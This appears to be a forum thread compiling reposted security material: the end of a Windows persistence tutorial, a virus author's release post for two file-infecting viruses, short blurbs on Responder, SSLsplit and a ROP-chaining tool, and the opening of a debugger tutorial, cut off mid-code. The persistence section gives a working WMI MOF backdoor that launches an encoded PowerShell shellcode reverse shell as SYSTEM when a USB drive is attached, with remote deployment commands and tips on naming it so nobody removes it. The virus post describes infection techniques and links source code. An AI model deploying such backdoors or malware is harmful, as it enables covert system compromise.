C:\Windows\system32> Get-WmiObject -query "select * from Win32_NTLogEvent where EventCode = '4624' and Message like '%User32%'" Using this information we can create the following WQL event trigger. This trigger would monitor the Windows events log and would trigger once it sees a successful interactive user logon. # Notice that we are checking for an instance creation where the event code is 4624 and the message property contains "User32". Query = "SELECT * FROM __InstanceCreationEvent Within 5" "Where TargetInstance Isa \"Win32_NTLogEvent\" " "And Targetinstance.EventCode = \"4624\" " "And Targetinstance.Message Like \"%User32%\" "; Event Consumer Class: The two most interesting consumer classes are: (1) The ActiveScriptEventConsumer class which allows us to execute VBS payloads and (2) the CommandLineEventConsumer class which we can use to execute terminal commands. Both classes have a really basic structure, examples of both can be seen below. Keep in mind that any payload executed by the consumer class will run as SYSTEM. # VBS payload. instance of ActiveScriptEventConsumer as $consumer { Name = "Event Consumer Name"; ScriptingEngine = "VBScript"; ScriptText = "VBS Payload!"; }; # Command line payload. instance of CommandLineEventConsumer as $consumer { Name = "Event Consumer Name"; RunInteractively = false; CommandLineTemplate = "CMD Payload!"; }; Using these two payload types any desired action can be performed; killing processes/services, creating and executing scripts, installing software/drivers, injecting shellcode, etc. __FilterToConsumerBinding: This class is also very straight forward, all we really need to know is that it binds an event trigger to an event consumer. An example can be seen below. instance of __FilterToConsumerBinding { Filter = $filter; # Our WQL event trigger. Consumer = $consumer; # Our event consumer payload. }; Multiple instances of __FilterToConsumerBinding can be defined in a single MOF. An event filer can be linked to multiple consumers and a consumer can be linked to multiple event filters. But where is my shell?: For demonstration purposes I created the following MOF file which will wait till a detachable USB device is connected to the computer and will then launch a reverse shell to the localhost. The powershell payload was generated using a modified version of Unicorn; Dave Kennedy if you happen to read this (hehe), "Why You No Like Dynamic Payload Choice?". The script is really useful as the output doesn't contain problematic characters like quotes, in addition, the payload will work on both 32 and 64 bit architectures. #pragma namespace ("\\\\.\\root\\subscription") instance of __EventFilter as $filter { Name = "USB-DeviceManager"; # A "could be legitimate" event name. EventNamespace = "root\\cimv2"; Query = "SELECT * FROM __InstanceCreationEvent Within 5" # Listen for USB device. "Where TargetInstance Isa \"Win32_DiskDrive\" " "And Targetinstance.InterfaceType = \"USB\" "; QueryLanguage = "WQL"; }; instance of CommandLineEventConsumer as $consumer { Name = "DoEvil"; RunInteractively = false; CommandLineTemplate = "cmd /C powershell -nop -win hidden -noni -enc # Unicorn payload. JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiAC kAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBs AGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbg B0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQA bABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjAC AAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABo AHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUA B0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwA IAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAE kAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABh AHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIA B1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUA IAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGMAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAG EAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABl AFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAcwBjACAAPQAgADAAeABmAGMALAAwAHgAZQA4ACwAMAB4ADgAOQAsADAAeAAwADAALA AwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2ADAALAAwAHgAOAA5ACwAMAB4AGUANQAsADAAeAAzADEALAAwAHgAZAAyACwAMAB4ADYA NAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADMAMAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADAAYwAsADAAeAA4AGIALAAwAH gANQAyACwAMAB4ADEANAAsADAAeAA4AGIALAAwAHgANwAyACwAMAB4ADIAOAAsADAAeAAwAGYALAAwAHgAYgA3ACwAMAB4ADQAYQAs ADAAeAAyADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeAAzADEALAAwAHgAYwAwACwAMAB4AGEAYwAsADAAeAAzAGMALAAwAHgANg AxACwAMAB4ADcAYwAsADAAeAAwADIALAAwAHgAMgBjACwAMAB4ADIAMAAsADAAeABjADEALAAwAHgAYwBmACwAMAB4ADAAZAAsADAA eAAwADEALAAwAHgAYwA3ACwAMAB4AGUAMgAsADAAeABmADAALAAwAHgANQAyACwAMAB4ADUANwAsADAAeAA4AGIALAAwAHgANQAyAC wAMAB4ADEAMAAsADAAeAA4AGIALAAwAHgANAAyACwAMAB4ADMAYwAsADAAeAAwADEALAAwAHgAZAAwACwAMAB4ADgAYgAsADAAeAA0 ADAALAAwAHgANwA4ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgANwA0ACwAMAB4ADQAYQAsADAAeAAwADEALAAwAHgAZAAwACwAMA B4ADUAMAAsADAAeAA4AGIALAAwAHgANAA4ACwAMAB4ADEAOAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIAMAAsADAAeAAwADEA LAAwAHgAZAAzACwAMAB4AGUAMwAsADAAeAAzAGMALAAwAHgANAA5ACwAMAB4ADgAYgAsADAAeAAzADQALAAwAHgAOABiACwAMAB4AD AAMQAsADAAeABkADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeAAzADEALAAwAHgAYwAwACwAMAB4AGEAYwAsADAAeABjADEALAAw AHgAYwBmACwAMAB4ADAAZAAsADAAeAAwADEALAAwAHgAYwA3ACwAMAB4ADMAOAAsADAAeABlADAALAAwAHgANwA1ACwAMAB4AGYANA AsADAAeAAwADMALAAwAHgANwBkACwAMAB4AGYAOAAsADAAeAAzAGIALAAwAHgANwBkACwAMAB4ADIANAAsADAAeAA3ADUALAAwAHgA ZQAyACwAMAB4ADUAOAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIANAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADYANgAsAD AAeAA4AGIALAAwAHgAMABjACwAMAB4ADQAYgAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADEAYwAsADAAeAAwADEALAAwAHgAZAAz ACwAMAB4ADgAYgAsADAAeAAwADQALAAwAHgAOABiACwAMAB4ADAAMQAsADAAeABkADAALAAwAHgAOAA5ACwAMAB4ADQANAAsADAAeA AyADQALAAwAHgAMgA0ACwAMAB4ADUAYgAsADAAeAA1AGIALAAwAHgANgAxACwAMAB4ADUAOQAsADAAeAA1AGEALAAwAHgANQAxACwA MAB4AGYAZgAsADAAeABlADAALAAwAHgANQA4ACwAMAB4ADUAZgAsADAAeAA1AGEALAAwAHgAOABiACwAMAB4ADEAMgAsADAAeABlAG IALAAwAHgAOAA2ACwAMAB4ADUAZAAsADAAeAA2ADgALAAwAHgAMwAzACwAMAB4ADMAMgAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4 ADYAOAAsADAAeAA3ADcALAAwAHgANwAzACwAMAB4ADMAMgAsADAAeAA1AGYALAAwAHgANQA0ACwAMAB4ADYAOAAsADAAeAA0AGMALA AwAHgANwA3ACwAMAB4ADIANgAsADAAeAAwADcALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeABiADgALAAwAHgAOQAwACwAMAB4ADAA MQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADIAOQAsADAAeABjADQALAAwAHgANQA0ACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAH gAMgA5ACwAMAB4ADgAMAAsADAAeAA2AGIALAAwAHgAMAAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgANQAwACwAMAB4ADUAMAAs ADAAeAA1ADAALAAwAHgANQAwACwAMAB4ADQAMAAsADAAeAA1ADAALAAwAHgANAAwACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgAZQ BhACwAMAB4ADAAZgAsADAAeABkAGYALAAwAHgAZQAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOAA5ACwAMAB4AGMANwAsADAA eAA2ADgALAAwAHgANwBmACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMAAxACwAMAB4ADYAOAAsADAAeAAwADIALAAwAHgAMAAwAC wAMAB4ADIANwAsADAAeAAwADQALAAwAHgAOAA5ACwAMAB4AGUANgAsADAAeAA2AGEALAAwAHgAMQAwACwAMAB4ADUANgAsADAAeAA1 ADcALAAwAHgANgA4ACwAMAB4ADkAOQAsADAAeABhADUALAAwAHgANwA0ACwAMAB4ADYAMQAsADAAeABmAGYALAAwAHgAZAA1ACwAMA B4ADYAOAAsADAAeAA2ADMALAAwAHgANgBkACwAMAB4ADYANAAsADAAeAAwADAALAAwAHgAOAA5ACwAMAB4AGUAMwAsADAAeAA1ADcA LAAwAHgANQA3ACwAMAB4ADUANwAsADAAeAAzADEALAAwAHgAZgA2ACwAMAB4ADYAYQAsADAAeAAxADIALAAwAHgANQA5ACwAMAB4AD UANgAsADAAeABlADIALAAwAHgAZgBkACwAMAB4ADYANgAsADAAeABjADcALAAwAHgANAA0ACwAMAB4ADIANAAsADAAeAAzAGMALAAw AHgAMAAxACwAMAB4ADAAMQAsADAAeAA4AGQALAAwAHgANAA0ACwAMAB4ADIANAAsADAAeAAxADAALAAwAHgAYwA2ACwAMAB4ADAAMA AsADAAeAA0ADQALAAwAHgANQA0ACwAMAB4ADUAMAAsADAAeAA1ADYALAAwAHgANQA2ACwAMAB4ADUANgAsADAAeAA0ADYALAAwAHgA NQA2ACwAMAB4ADQAZQAsADAAeAA1ADYALAAwAHgANQA2ACwAMAB4ADUAMwAsADAAeAA1ADYALAAwAHgANgA4ACwAMAB4ADcAOQAsAD AAeABjAGMALAAwAHgAMwBmACwAMAB4ADgANgAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADgAOQAsADAAeABlADAALAAwAHgANABl ACwAMAB4ADUANgAsADAAeAA0ADYALAAwAHgAZgBmACwAMAB4ADMAMAAsADAAeAA2ADgALAAwAHgAMAA4ACwAMAB4ADgANwAsADAAeA AxAGQALAAwAHgANgAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAYgBiACwAMAB4AGYAMAAsADAAeABiADUALAAwAHgAYQAyACwA MAB4ADUANgAsADAAeAA2ADgALAAwAHgAYQA2ACwAMAB4ADkANQAsADAAeABiAGQALAAwAHgAOQBkACwAMAB4AGYAZgAsADAAeABkAD UALAAwAHgAMwBjACwAMAB4ADAANgAsADAAeAA3AGMALAAwAHgAMABhACwAMAB4ADgAMAAsADAAeABmAGIALAAwAHgAZQAwACwAMAB4 ADcANQAsADAAeAAwADUALAAwAHgAYgBiACwAMAB4ADQANwAsADAAeAAxADMALAAwAHgANwAyACwAMAB4ADYAZgAsADAAeAA2AGEALA AwAHgAMAAwACwAMAB4ADUAMwAsADAAeABmAGYALAAwAHgAZAA1ADsAJABzAGkAegBlACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAA KAAkAHMAYwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABzAGkAegBlACAAPQAgACQAcwBjAC4ATABlAG 4AZwB0AGgAfQA7ACQAeAA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAHMAaQB6 AGUALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHMAYwAuAEwAZQBuAGcAdABoAC0AMQ ApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJAB4AC4AVABvAEkAbgB0ADMA MgAoACkAKwAkAGkAKQAsACAAJABzAGMAWwAkAGkAXQAsACAAMQApAH0AOwAkAHcAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkAC gAMAAsADAALAAkAHgALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ADsAKQB7AFMAdABhAHIAdAAtAHMAbABlAGUAcAAgADYAMAB9 ADsAJwA7ACQAZwBxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcg BpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUA dABCAHkAdABlAHMAKAAkADEAKQApADsAaQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA4ACkAewAkAH gAOAA2ACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBk AG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAJABjAG0AZAAgAD0AIA AiAC0AbgBvAHAAIAAtAG4AbwBuAGkAIAAtAGUAbgBjACAAIgA7AGkAZQB4ACAAIgAmACAAJAB4ADgANgAgACQAYwBtAGQAIAAkAGcA cQAiAH0AZQBsAHMAZQB7ACQAYwBtAGQAIAA9ACAAIgAtAG4AbwBwACAALQBuAG8AbgBpACAALQBlAG4AYwAiADsAaQBlAHgAIAAiAC YAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABjAG0AZAAgACQAZwBxACIAOwB9AA=="; }; instance of __FilterToConsumerBinding { Filter = $filter; Consumer = $consumer; }; All that remains is to compile our MOF into memory on the target machine. This can be accomplished by using mofcomp. PS C:\Users\Fubar\Desktop> mofcomp.exe .\usb2shell.mof Microsoft ® MOF Compiler Version 6.1.7600.16385 Copyright © Microsoft Corp. 1997-2006. All rights reserved. Parsing MOF file: .\usb2shell.mof MOF file has been successfully parsed Storing data in the repository... WARNING: File .\usb2shell.mof does not contain #PRAGMA AUTORECOVER. If the WMI repository is rebuilt in the future, the contents of this MOF file will not be included in the new WMI repository.To include this MOF file when the WMI Repository is automatically reconstructed, place the #PRAGMA AUTORECOVER statement on the first line of the MOF file. Done! After compilation our event/action will be permanently stored in memory, the MOF file will no longer be necessary and can be deleted. To get some extra bang for your buck the following command can be used to compile a MOF on a remote computer without the file ever touching disk. # The pragma namespace will need to be removed from the MOF. PS C:\Users\Fubar\Desktop> mofcomp.exe -N \\[RemoteTarget]\root\subscription .\usb2shell.mof Once compiled we can query the MOF using Get-WmiObject, notice however that it is not possible to determine the actual payload that will be run when the event is triggered. Choosing a seemingly critical or innocent name should discourage anyone from removing it. PS C:\Users\Fubar\Desktop> Get-WmiObject -namespace root\subscription -Class __EventFilter -Filter "name='USB-DeviceManager'" __GENUS : 2 __CLASS : __EventFilter __SUPERCLASS : __IndicationRelated __DYNASTY : __SystemClass __RELPATH : __EventFilter.Name="USB-DeviceManager" __PROPERTY_COUNT : 6 __DERIVATION : {__IndicationRelated, __SystemClass} __SERVER : WIN7-TESTBED __NAMESPACE : ROOT\subscription __PATH : \\WIN7-TESTBED\ROOT\subscription:__EventFilter.Name="USB-DeviceManager" CreatorSID : {1, 5, 0, 0...} EventAccess : EventNamespace : root\cimv2 Name : USB-DeviceManager # Looks legit to me . Query : SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa "Win32_DiskDrive" And Targetinstance.InterfaceType = "USB" QueryLanguage : WQL From the screenshot below we can see that we get a SYSTEM shell as soon as a USB device is attached to the computer. MOF USB SYSTEM shell If we wanted to delete our MOF backdoor we could pipe the command above to Remove-WmiObject. PS C:\Users\Fubar\Desktop> Get-WmiObject -namespace root\subscription -Class __EventFilter -Filter "name='USB-DeviceManager'" |Remove-WmiObject The amazing scope of the WQL event triggers make this a really advanced persistence technique. A MOF file could, for example, be used as a dropper for malware; kill AV/debuggers, grab updates from a C&C, fingerprint network hardware, infect detachable media devices, migrate through a domain, etc. [h=2]Windows Startup Folder[/h] The final technique is a classic, all windows versions, going back to "Windows 3", have starup directories. Any binary, script or application shortcut which is put in that directory will be executed when the user logs on to the system. Links: List Of Major Windows Versions - here Startup Directories: # Windows NT 6.0 - 10.0 / All Users %SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup # Windows NT 6.0 - 10.0 / Current User %SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup # Windows NT 5.0 - 5.2 %SystemDrive%\Documents and Settings\All Users\Start Menu\Programs\Startup # Windows NT 3.5 - 4.0 %SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\Startup [h=2]Final Thoughts[/h] I'm sure this is a lot of information to take in, it was certainly a lot to write up. It should be made clear, however, that this is only the bare bones of Windows userland persistence. A functional understanding of persistence techniques can only be gained by experimentation and practise. I leave it to the diligent reader to see how deep the Rabbit Hole goes! Sursa: FuzzySecurity | Windows Userland Persistence Fundamentals
  17. HauHra and Hildr releaseHello there, finally after one of year I’m releasing two new codes. I worked on them originally to contribute to DC issue 6, but things have turned rather complicated with the zine so far. I worked on them on rather exceptional circumstances, almost no available material, bad internet connection, no resources, and worst of all: little computer access and almost no time. After a few setbacks on my original plans, I had to cut them short for simplicity. But they are fit for release. So, with no further delay, here some descriptions. W32.HauHra (https://github.com/villekulla/Hauhra) HauHra is my new demo virus using Python code to decrypt itself. The decryptor drops a small python script with a function to xor every item from list object, then loads python24.dll and uses it to load the script, then creates the list object and sets all its items with the encrypted virus’ bytes, and calls the function, the decrypted result is then executed. The virus finds executable files in the current directory and all subdirectories, and infects them by overwriting reloc data with the decryptor code. The entrypoint is altered to point to the virus code. Very simple. W32.Hildr (https://github.com/villekulla/Hildr) The virus finds executable files in the current directory and all subdirectories, and infects them by overwriting debug data with the decryptor code, and overwriting reloc data with the encrypted virus body. The entrypoint is altered to point to the decryptor code. How those two came to be There was an idea that never abandoned me, although for years I was sure to discard it. I remembered it every month, really never could get over it. When I was studying the PE format back in 2009, there was that “debug directory” thing in the Data Directory, I thought it would be nice to overwrite it, since it was just data for debuggers and disassemblers. But then days later I read in a 29A issue the source code of a virus that did just that, I didn’t understand the code at the time, though I tried. So, I simply attempted to discard it, I ended up targeting the certificates data outside the image and thus my first virus came to be. But again the idea came back a week ago. I connected to the internet and searched for the ezine and that virus specifically, and when I read the source again I noticed a small problem. Its author really wanted to target the debug directory, back in the day it might have been present as a section itself in the file, and went by the name of “.debug”; however, the code was looking for a section named “.deb” not “.debug”. Back then the debug directory wasn’t embedded into the code section as it is today, either. So that was enough reason for me to finally get over it, by writing the code. It’s not really a remarkable technique, it’s Simple. But it would be a mistake to let it go with the same level of simplicity. Some people might have thought before about it, and thought that the debug directory is too small to insert any meaningful code in it. Why let go of the chance? Some of you might remember the virus W32.EfishNC by roy g biv, the decryptor was really tiny and yet proved so hard to detect. EfishNC placed the decryptor by overwriting a function in the host code and patching a call to point to it. While I let go of the chance to make the idea with a more advanced decryption technique, someone else might someday do it. I hope it happens. Hauhra was another thing entirely, I already had done most of the work for it when I wrote Viper - a small experiment that did just the decryption part of some data and displayed it in a message. So, just the replication capabilities were missing. Originally I intended the decryptor to use random operations (xor, add, sub) and keys. I didn’t had a computer available at the time so I wrote the code in a piece of paper (from a bag of croissants!), the code worked fine but there was an error in the garbage collection during the unloading routine. I managed to fix the bug (which was related to the use of the “unsigned” set of APIs, one of them is still present in the code), but I ended up discarding the code in favour of more simplicity. Ending Hope you have enjoyed these words and the codes. Working on the codes under exceptional circumstances, has somehow restored my enthusiasm, I’m motivated and full of energy. It is safe to say I’m fully back at virus writing. Now that I’m enjoying a more normalized situation, I have been revisiting projects I left unfinished, I have made a list of the things I’ll try but aim to make codes with more details this time, so don’t expect new releases any time soon. However! I do plan to update regularly this blog, maybe share some code too. In the next few days I’ll be writing here a series of entries about a powerful very promising file infection technique. If you have anything to ask, the Ask section is available (and it is really anonymous), for feedback or to share ideas and stuff I can be reached via email villekullah@gmail.com hh86 1 December 2014 Sursa: hh86
  18. Si pe aia cu Stuxnet, Regin, Finfisher si multe altele cine ii aresteaza?
  19. Responder 2.1.3 Authored by laurent gaffie | Site github.com Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. Sursa: Responder 2.1.3 ? Packet Storm
  20. SSLsplit 0.4.10 Site roe.ch SSLsplit is a tool for man-in-the-middle attacks against SSL/TLS encrypted network connections. Connections are transparently intercepted through a network address translation engine and redirected to SSLsplit. SSLsplit terminates SSL/TLS and initiates a new SSL/TLS connection to the original destination address, while logging all data transmitted. SSLsplit is intended to be useful for network forensics and penetration testing. Sursa: SSLsplit 0.4.10 ? Packet Storm
  21. Agafi-ROP x86 ROP-Chainer Tool Authored by Nicolas A. Economou Agafi-ROP is a x86 ROP-Chainer tool oriented to build ROP chains for win32 programs, modules, and running processes. Sursa: Agafi-ROP x86 ROP-Chainer Tool ? Packet Storm
  22. Writing a Primitive Debugger: Part 1 (Basics) Posted on November 27, 2014 by admin As software developers (or reverse engineers), debuggers are an invaluable tool. They allow for runtime analysis and introspection/understanding of the program in order to find out how it works — or oftentimes doesn’t. This series of posts will go in to how they work and how to begin developing a primitive debugger targeting the Windows platform running on the x86 or x64 architectures. Attaching/Detaching In order to debug a process, a debugger must be able to attach to it. This means that there should be a way for the debugger to interact with the process in such a way that the debugger will have access to the processes address space, the ability to halt and continue execution, modify registers, and so on. Likewise, a debugger should be able to safety detach from a process and let it continue running when a debugging session is finished. On the Windows platform this is achieved by calling the DebugActiveProcess function and specifying the process identifier of the target. Alternatively, it can also be accomplished by calling CreateProcess with the DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS creation flags. This latter method will create a new process and attach to it rather than attaching to one already running on the system. Once attached, the debugger can specify a policy on whether to kill the process on detach with DebugSetProcessKillOnExit. Lastly, the process for detaching is a straightforward call to DebugActiveProcessStop. Putting all of these together produces code similar to the following: [TABLE] [TR] [TD="class: code"][COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] Debugger[COLOR=#008080]::[/COLOR][COLOR=#007788]Start[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] m_bIsActive [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]DebugActiveProcess[COLOR=#008000]([/COLOR]m_dwProcessId[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR]m_bIsActive[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] bIsSuccess [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]DebugSetProcessKillOnExit[COLOR=#008000]([/COLOR]m_bKillOnExit[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]bIsSuccess[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"Could not set process kill on exit policy. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] DebuggerLoop[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]else[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"Could not debug process %X. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], m_dwProcessId, GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] Debugger[COLOR=#008080]::[/COLOR][COLOR=#007788]Stop[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] m_bIsActive [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]DebugActiveProcessStop[COLOR=#008000]([/COLOR]m_dwProcessId[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]m_bIsActive[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"Could not stop debugging process %X. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], m_dwProcessId, GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] m_bIsActive[COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][/TD] [/TR] [/TABLE] where m_dwProcessId and m_bKillOnExit are parameters provided through the Debugger constructor (see sample code). The BOOLIFY macro is also just a simple [TABLE] [TR] [TD=class: code]#define BOOLIFY(x) !!(x)[/TD] [/TR] [/TABLE] definition to encourage type safety. At this point we have a simple debugger that can attach to and detach from a target process, but cannot handle any debug events. This is where the debugging loop comes in. The Debugging Loop The core component of any debugger is the debugging loop. This is the part responsible for waiting for a debug event, processing said event, and then waiting for the next event, hence the loop. On the Windows platform, this is pretty straightforward. It’s actually straightforward enough that Microsoft wrote up a short MSDN page on what needs to be done at this step. The steps involved are that (in a loop), the debugger calls WaitForDebugEvent which waits for a debug event from the process. These debug events are enumerated here and are commonly events related to process and thread creation/destruction, loading or unloading of DLLs, any exceptions raised, or debug strings output specifically for a debugger to see. Once this function returns, it will populate a DEBUG_EVENT structure with the information related to the particular debug event. At this point, it is the debuggers job to handle the event. After handling the event, the handlers must provide a continue status to ContinueDebugEvent, which is a code telling the thread that raised the event how to carry on execution after the event was handled. For most events, i.e. CREATE_PROCESS_DEBUG_EVENT, LOAD_DLL_DEBUG_EVENT, etc, you want to continue execution since these events do not reflect anything wrong with program behavior, but are events to notify the debugger of changing process state. This is done by choosing DBG_CONTINUE as the continue status. For the exceptional cases, such as exceptions which lead to undefined program behavior such as access violations, illegal instruction execution, divides by zero, etc, the process is nearing a point of no return. The debuggers job at this point is to gather and display information relating to the crash and in most cases terminate the process. This termination can happen inside the handler itself for these exceptions, or the debugger can choose to continue the debug event with the DBG_EXCEPTION_NOT_HANDLED continue status, meaning that the debugger is relinquishing responsibility of handling this exception properly. In almost all cases, this will lead to the program terminating on its own immediately afterwards. However, there are sometimes corner cases, particularly in malware, where the process will install its own runtime exception handler as an obfuscation technique and produce its own runtime exceptions to be handled within this handler to carry out some functionality. Continuing the exception in this case would not result in a crash since the process is able to handle its own exception after the debugger forwards it along the exception handler chain. Putting cases like those aside for now, a typical debugging loop may look like the following: [TABLE] [TR] [TD="class: code"][COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] 